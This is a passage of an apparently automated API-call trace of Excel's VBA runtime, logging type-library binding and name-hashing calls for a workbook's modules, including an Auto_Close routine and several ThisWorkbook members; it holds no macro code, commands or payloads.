returned 9 [0217.546] ITypeComp:RemoteBind (in: This=0x6fed890, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x2605a8, pDescKind=0x260690, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0 | out: ppTInfo=0x2605a8*=0x0, pDescKind=0x260690*=0, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0) returned 0x0 [0217.546] IUnknown:Release (This=0x6fed890) returned 0x3 [0217.546] IMalloc:Free (This=0x7feffc15380, pv=0xb9774b0) [0226.578] GetAsyncKeyState (vKey=27) returned 0 [0226.578] GetCurrentThreadId () returned 0x92c [0226.578] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0226.578] GetDesktopWindow () returned 0x10010 [0226.578] RemovePropA (hWnd=0x202cc, lpString=0xc113) returned 0x1 [0226.578] EnableWindow (hWnd=0x202cc, bEnable=1) returned 1 [0226.578] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xb97a2b0 [0226.578] IMalloc:Free (This=0x7feffc15380, pv=0xb97a2b0) [0226.661] ITypeInfo:RemoteGetDocumentation (in: This=0xb3e3928, memid=1545, refPtrFlags=0x28efd0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xba00000345 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xba00000345) returned 0x0 [0226.661] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Change", cchWideChar=7, lpMultiByteStr=0x28f020, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Change", lpUsedDefaultChar=0x0) returned 7 [0226.661] _mbscpy_s (in: _Dst=0x28ee70, _DstSizeInBytes=0x11, _Src=0x6762d5a | out: _Dst=0x28ee70) returned 0x0 [0226.661] _mbscpy_s (in: _Dst=0x28ee7a, _DstSizeInBytes=0x7, _Src=0x28f020 | out: _Dst=0x28ee7a) returned 0x0 [0226.662] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_Change") returned 0x10539f [0226.662] ITypeInfo:RemoteGetDocumentation (in: This=0xb3e3928, memid=1543, refPtrFlags=0x28efd0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0226.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x28f020, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16 [0226.662] _mbscpy_s (in: _Dst=0x28ee70, _DstSizeInBytes=0x1a, _Src=0x6762d5a | out: _Dst=0x28ee70) returned 0x0 [0226.662] _mbscpy_s (in: _Dst=0x28ee7a, _DstSizeInBytes=0x10, _Src=0x28f020 | out: _Dst=0x28ee7a) returned 0x0 [0226.662] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1 [0226.668] ITypeInfo:RemoteGetDocumentation (in: This=0xb3e3928, memid=1537, refPtrFlags=0x28e370, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0226.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x28e3c0, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18 [0226.668] _mbscpy_s (in: _Dst=0x28e210, _DstSizeInBytes=0x1c, _Src=0x6762d5a | out: _Dst=0x28e210) returned 0x0 [0226.668] _mbscpy_s (in: _Dst=0x28e21a, _DstSizeInBytes=0x12, _Src=0x28e3c0 | out: _Dst=0x28e21a) returned 0x0 [0226.668] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466 [0226.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Database", cchWideChar=-1, lpMultiByteStr=0x260f80, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Database", lpUsedDefaultChar=0x0) returned 9 [0226.670] IMalloc:Alloc (This=0x7feffc15380, cb=0xa) returned 0xb97ab10 [0226.670] strncpy_s (in: _Dst=0xb97ab10, _DstSize=0xa, _Src="Database", _MaxCount=0x8 | out: _Dst="Database") returned 0x0 [0226.670] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Database") returned 0x10eec7 [0226.670] bsearch (_Key=0x25fe98, _Base=0xb685940, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5a9219c) returned 0x0 [0226.670] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 1 [0226.670] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="VBAProject", cchCount2=-1) returned 1 [0226.670] ITypeLib:GetTypeComp (in: This=0xb1d1370, ppTComp=0x25ff00 | out: ppTComp=0x25ff00*=0xb1d1380) returned 0x0 [0226.671] IUnknown:AddRef (This=0xb1d1380) returned 0xc [0226.671] IUnknown:Release (This=0xb1d1380) returned 0xb [0226.671] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb97ab10, cbMultiByte=9, lpWideCharStr=0x25fd00, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0226.671] ITypeComp:RemoteBind (in: This=0xb1d1380, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x25fcb8, pDescKind=0x25fda0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0 | out: ppTInfo=0x25fcb8*=0x0, pDescKind=0x25fda0*=0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0) returned 0x0 [0226.671] IUnknown:Release (This=0xb1d1380) returned 0xa [0226.671] ITypeLib:GetTypeComp (in: This=0xb1d0560, ppTComp=0x25ff00 | out: ppTComp=0x25ff00*=0xb1d0570) returned 0x0 [0226.671] IUnknown:AddRef (This=0xb1d0570) returned 0x13 [0226.671] IUnknown:Release (This=0xb1d0570) returned 0x12 [0226.671] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb97ab10, cbMultiByte=9, lpWideCharStr=0x25fd00, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0226.671] ITypeComp:RemoteBind (in: This=0xb1d0570, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x25fcb8, pDescKind=0x25fda0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0 | out: ppTInfo=0x25fcb8*=0x0, pDescKind=0x25fda0*=0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0) returned 0x0 [0226.671] IUnknown:Release (This=0xb1d0570) returned 0x11 [0226.671] ITypeLib:GetTypeComp (in: This=0xb1d1910, ppTComp=0x25ff00 | out: ppTComp=0x25ff00*=0xb1d1920) returned 0x0 [0226.671] IUnknown:AddRef (This=0xb1d1920) returned 0x7 [0226.671] IUnknown:Release (This=0xb1d1920) returned 0x6 [0226.671] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb97ab10, cbMultiByte=9, lpWideCharStr=0x25fd00, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0226.672] ITypeComp:RemoteBind (in: This=0xb1d1920, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x25fcb8, pDescKind=0x25fda0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0 | out: ppTInfo=0x25fcb8*=0x0, pDescKind=0x25fda0*=0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0) returned 0x0 [0226.672] IUnknown:Release (This=0xb1d1920) returned 0x5 [0226.672] ITypeLib:GetTypeComp (in: This=0x6fed880, ppTComp=0x25ff00 | out: ppTComp=0x25ff00*=0x6fed890) returned 0x0 [0226.672] IUnknown:AddRef (This=0x6fed890) returned 0x5 [0226.672] IUnknown:Release (This=0x6fed890) returned 0x4 [0226.672] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb97ab10, cbMultiByte=9, lpWideCharStr=0x25fd00, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0226.672] ITypeComp:RemoteBind (in: This=0x6fed890, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x25fcb8, pDescKind=0x25fda0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0 | out: ppTInfo=0x25fcb8*=0x0, pDescKind=0x25fda0*=0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0) returned 0x0 [0226.672] IUnknown:Release (This=0x6fed890) returned 0x3 [0226.672] IMalloc:Free (This=0x7feffc15380, pv=0xb97ab10) [0226.672] GetCurrentThreadId () returned 0x92c [0226.672] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0226.672] GetDesktopWindow () returned 0x10010 [0226.672] SetPropA (hWnd=0x202cc, lpString=0xc113, hData=0x1) returned 1 [0226.672] EnableWindow (hWnd=0x202cc, bEnable=0) returned 0 [0226.673] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xb97ab10 [0226.673] IMalloc:Free (This=0x7feffc15380, pv=0xb97ab10) [0226.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Database", cchWideChar=-1, lpMultiByteStr=0x261870, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Database", lpUsedDefaultChar=0x0) returned 9 [0226.727] IMalloc:Alloc (This=0x7feffc15380, cb=0xa) returned 0xb67f5c0 [0226.727] strncpy_s (in: _Dst=0xb67f5c0, _DstSize=0xa, _Src="Database", _MaxCount=0x8 | out: _Dst="Database") returned 0x0 [0226.727] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Database") returned 0x10eec7 [0226.727] bsearch (_Key=0x260778, _Base=0xb685940, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5a9219c) returned 0x0 [0226.727] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 1 [0226.727] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="VBAProject", cchCount2=-1) returned 1 [0226.727] ITypeLib:GetTypeComp (in: This=0xb1d1370, ppTComp=0x2607e0 | out: ppTComp=0x2607e0*=0xb1d1380) returned 0x0 [0226.728] IUnknown:AddRef (This=0xb1d1380) returned 0xc [0226.728] IUnknown:Release (This=0xb1d1380) returned 0xb [0226.728] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb67f5c0, cbMultiByte=9, lpWideCharStr=0x2605f0, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0226.728] ITypeComp:RemoteBind (in: This=0xb1d1380, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x2605a8, pDescKind=0x260690, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0 | out: ppTInfo=0x2605a8*=0x0, pDescKind=0x260690*=0, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0) returned 0x0 [0226.728] IUnknown:Release (This=0xb1d1380) returned 0xa [0226.728] ITypeLib:GetTypeComp (in: This=0xb1d0560, ppTComp=0x2607e0 | out: ppTComp=0x2607e0*=0xb1d0570) returned 0x0 [0226.728] IUnknown:AddRef (This=0xb1d0570) returned 0x13 [0226.728] IUnknown:Release (This=0xb1d0570) returned 0x12 [0226.728] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb67f5c0, cbMultiByte=9, lpWideCharStr=0x2605f0, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0226.728] ITypeComp:RemoteBind (in: This=0xb1d0570, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x2605a8, pDescKind=0x260690, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0 | out: ppTInfo=0x2605a8*=0x0, pDescKind=0x260690*=0, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0) returned 0x0 [0226.728] IUnknown:Release (This=0xb1d0570) returned 0x11 [0226.728] ITypeLib:GetTypeComp (in: This=0xb1d1910, ppTComp=0x2607e0 | out: ppTComp=0x2607e0*=0xb1d1920) returned 0x0 [0226.729] IUnknown:AddRef (This=0xb1d1920) returned 0x7 [0226.729] IUnknown:Release (This=0xb1d1920) returned 0x6 [0226.729] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb67f5c0, cbMultiByte=9, lpWideCharStr=0x2605f0, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0226.729] ITypeComp:RemoteBind (in: This=0xb1d1920, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x2605a8, pDescKind=0x260690, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0 | out: ppTInfo=0x2605a8*=0x0, pDescKind=0x260690*=0, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0) returned 0x0 [0226.729] IUnknown:Release (This=0xb1d1920) returned 0x5 [0226.729] ITypeLib:GetTypeComp (in: This=0x6fed880, ppTComp=0x2607e0 | out: ppTComp=0x2607e0*=0x6fed890) returned 0x0 [0226.729] IUnknown:AddRef (This=0x6fed890) returned 0x5 [0226.729] IUnknown:Release (This=0x6fed890) returned 0x4 [0226.729] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb67f5c0, cbMultiByte=9, lpWideCharStr=0x2605f0, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0226.729] ITypeComp:RemoteBind (in: This=0x6fed890, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x2605a8, pDescKind=0x260690, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0 | out: ppTInfo=0x2605a8*=0x0, pDescKind=0x260690*=0, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0) returned 0x0 [0226.729] IUnknown:Release (This=0x6fed890) returned 0x3 [0226.729] IMalloc:Free (This=0x7feffc15380, pv=0xb67f5c0) [0250.988] GetAsyncKeyState (vKey=27) returned 0 [0250.988] GetCurrentThreadId () returned 0x92c [0250.988] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0250.988] GetDesktopWindow () returned 0x10010 [0250.988] RemovePropA (hWnd=0x202cc, lpString=0xc113) returned 0x1 [0250.988] EnableWindow (hWnd=0x202cc, bEnable=1) returned 1 [0250.989] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xb97e110 [0250.989] IMalloc:Free (This=0x7feffc15380, pv=0xb97e110) [0251.054] ITypeInfo:RemoteGetDocumentation (in: This=0xb3e3928, memid=279, refPtrFlags=0x28a460, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x3502a8 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x3502a8*="\xc6a0\xb82") returned 0x0 [0251.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Calculate", cchWideChar=10, lpMultiByteStr=0x28a4b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Calculate", lpUsedDefaultChar=0x0) returned 10 [0251.054] _mbscpy_s (in: _Dst=0x28a300, _DstSizeInBytes=0x14, _Src=0x6762d5a | out: _Dst=0x28a300) returned 0x0 [0251.055] _mbscpy_s (in: _Dst=0x28a30a, _DstSizeInBytes=0xa, _Src=0x28a4b0 | out: _Dst=0x28a30a) returned 0x0 [0251.055] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_Calculate") returned 0x106574 [0251.055] ITypeInfo:RemoteGetDocumentation (in: This=0xb3e3928, memid=1545, refPtrFlags=0x28a460, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0251.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Change", cchWideChar=7, lpMultiByteStr=0x28a4b0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Change", lpUsedDefaultChar=0x0) returned 7 [0251.055] _mbscpy_s (in: _Dst=0x28a300, _DstSizeInBytes=0x11, _Src=0x6762d5a | out: _Dst=0x28a300) returned 0x0 [0251.055] _mbscpy_s (in: _Dst=0x28a30a, _DstSizeInBytes=0x7, _Src=0x28a4b0 | out: _Dst=0x28a30a) returned 0x0 [0251.055] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_Change") returned 0x10539f [0251.056] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa [0251.056] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb5bac08, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0251.056] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa [0251.056] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb5bac08, cbMultiByte=11, lpWideCharStr=0x75dc4e8, cchWideChar=11 | out: lpWideCharStr="VBAProject") returned 11 [0251.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="[VBAProject].Auto_Close", cchWideChar=-1, lpMultiByteStr=0x28a520, cbMultiByte=47, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[VBAProject].Auto_Close", lpUsedDefaultChar=0x0) returned 24 [0251.057] IMalloc:Alloc (This=0x7feffc15380, cb=0x19) returned 0xb66bfc0 [0251.057] strncpy_s (in: _Dst=0xb66bfc0, _DstSize=0x19, _Src="[VBAProject].Auto_Close", _MaxCount=0x17 | out: _Dst="[VBAProject].Auto_Close") returned 0x0 [0251.057] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="VBAProject") returned 0x10bfbe [0251.057] bsearch (_Key=0x289438, _Base=0xb685940, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5a9219c) returned 0x0 [0251.057] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="VBAProject", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 3 [0251.057] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="VBAProject", cchCount1=-1, lpString2="ThisWorkbook", cchCount2=-1) returned 3 [0251.057] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="VBAProject", cchCount1=-1, lpString2="VBAProject", cchCount2=-1) returned 2 [0251.057] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Auto_Close") returned 0x108077 [0251.057] bsearch (_Key=0x289438, _Base=0xb685940, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5a9219c) returned 0x0 [0251.057] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Auto_Close", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 1 [0251.057] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Auto_Close", cchCount1=-1, lpString2="VBAProject", cchCount2=-1) returned 1 [0251.057] IMalloc:Free (This=0x7feffc15380, pv=0xb66bfc0) [0251.100] GetCurrentThreadId () returned 0x92c [0251.100] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0251.100] GetDesktopWindow () returned 0x10010 [0251.101] SetPropA (hWnd=0x202cc, lpString=0xc113, hData=0x1) returned 1 [0251.101] EnableWindow (hWnd=0x202cc, bEnable=0) returned 0 [0251.101] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0x738a2a0 [0251.101] IMalloc:Free (This=0x7feffc15380, pv=0x738a2a0) [0251.556] GetAsyncKeyState (vKey=27) returned 0 [0251.556] GetCurrentThreadId () returned 0x92c [0251.556] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0251.556] GetDesktopWindow () returned 0x10010 [0251.557] RemovePropA (hWnd=0x202cc, lpString=0xc113) returned 0x1 [0251.557] EnableWindow (hWnd=0x202cc, bEnable=1) returned 1 [0251.557] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xb2f89b0 [0251.557] IMalloc:Free (This=0x7feffc15380, pv=0xb2f89b0) [0251.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisWorkbook", cchWideChar=13, lpMultiByteStr=0x27b760, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisWorkbook", lpUsedDefaultChar=0x0) returned 13 [0251.804] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisWorkbook") returned 0x10e37c [0251.804] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa [0251.804] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb5bac08, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0251.804] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa [0251.804] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb5bac08, cbMultiByte=11, lpWideCharStr=0x75dc4e8, cchWideChar=11 | out: lpWideCharStr="VBAProject") returned 11 [0251.805] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VBAProject") returned 0x10bfbe [0251.806] SysStringByteLen (bstr="整獳") returned 0x4 [0251.806] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb5bac08, cbMultiByte=4, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0251.806] SysStringByteLen (bstr="整獳") returned 0x4 [0251.806] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb5bac08, cbMultiByte=5, lpWideCharStr=0x4d86038, cchWideChar=5 | out: lpWideCharStr="tess") returned 5 [0251.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisWorkbook.tess", cchWideChar=-1, lpMultiByteStr=0x27b810, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisWorkbook.tess", lpUsedDefaultChar=0x0) returned 18 [0251.809] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook.tess") returned 0x1032c5 [0251.809] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook.tess") returned 0x1032c5 [0251.809] lstrlenA (lpString="ThisWorkbook.tess") returned 17 [0251.810] SysStringByteLen (bstr="潴牲o") returned 0x5 [0251.810] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb5bac08, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0251.810] SysStringByteLen (bstr="潴牲o") returned 0x5 [0251.810] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb5bac08, cbMultiByte=6, lpWideCharStr=0x4d86038, cchWideChar=6 | out: lpWideCharStr="torro") returned 6 [0251.810] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook.torro") returned 0x10083b [0251.810] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook.torro") returned 0x10083b [0251.810] lstrlenA (lpString="ThisWorkbook.torro") returned 18 [0251.810] SysStringByteLen (bstr="楶正湩g") returned 0x7 [0251.810] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb5bac08, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0251.810] SysStringByteLen (bstr="楶正湩g") returned 0x7 [0251.810] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb5bac08, cbMultiByte=8, lpWideCharStr=0x4d86038, cchWideChar=8 | out: lpWideCharStr="vicking") returned 8 [0251.810] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook.vicking") returned 0x10e46e [0251.810] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook.vicking") returned 0x10e46e [0251.810] lstrlenA (lpString="ThisWorkbook.vicking") returned 20 [0251.810] SysStringByteLen (bstr="敳敲慮") returned 0x6 [0251.810] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb5bac08, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0251.810] SysStringByteLen (bstr="敳敲慮") returned 0x6 [0251.810] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb5bac08, cbMultiByte=7, lpWideCharStr=0x4d86038, cchWideChar=7 | out: lpWideCharStr="serena") returned 7 [0251.811] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook.serena") returned 0x10dc0a [0251.811] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook.serena") returned 0x10dc0a [0251.811] lstrlenA (lpString="ThisWorkbook.serena") returned 19 [0251.811] SysStringByteLen (bstr="浯慲n") returned 0x5 [0251.811] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb5bac08, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0251.811] SysStringByteLen (bstr="浯慲n") returned 0x5 [0251.811] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb5bac08, cbMultiByte=6, lpWideCharStr=0x4d86038, cchWideChar=6 | out: lpWideCharStr="omran") returned 6 [0251.811] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook.omran") returned 0x10a105 [0251.811] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook.omran") returned 0x10a105 [0251.811] lstrlenA (lpString="ThisWorkbook.omran") returned 18 [0251.811] SysStringByteLen (bstr="牴浥牯s") returned 0x7 [0251.811] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb5bac08, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0251.811] SysStringByteLen (bstr="牴浥牯s") returned 0x7 [0251.811] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb5bac08, cbMultiByte=8, lpWideCharStr=0x4d86038, cchWideChar=8 | out: lpWideCharStr="tremors") returned 8 [0251.811] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook.tremors") returned 0x1000c1 [0251.811] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook.tremors") returned 0x1000c1 [0251.811] lstrlenA (lpString="ThisWorkbook.tremors") returned 20 [0251.811] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sheet1") returned 0x101ae8 [0251.812] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa [0251.812] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4d86038, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0251.812] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa [0251.812] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4d86038, cbMultiByte=11, lpWideCharStr=0x75dc4e8, cchWideChar=11 | out: lpWideCharStr="VBAProject") returned 11 [0251.812] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VBAProject") returned 0x10bfbe [0251.813] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisWorkbook") returned 0x10e37c [0251.814] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa [0251.814] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, 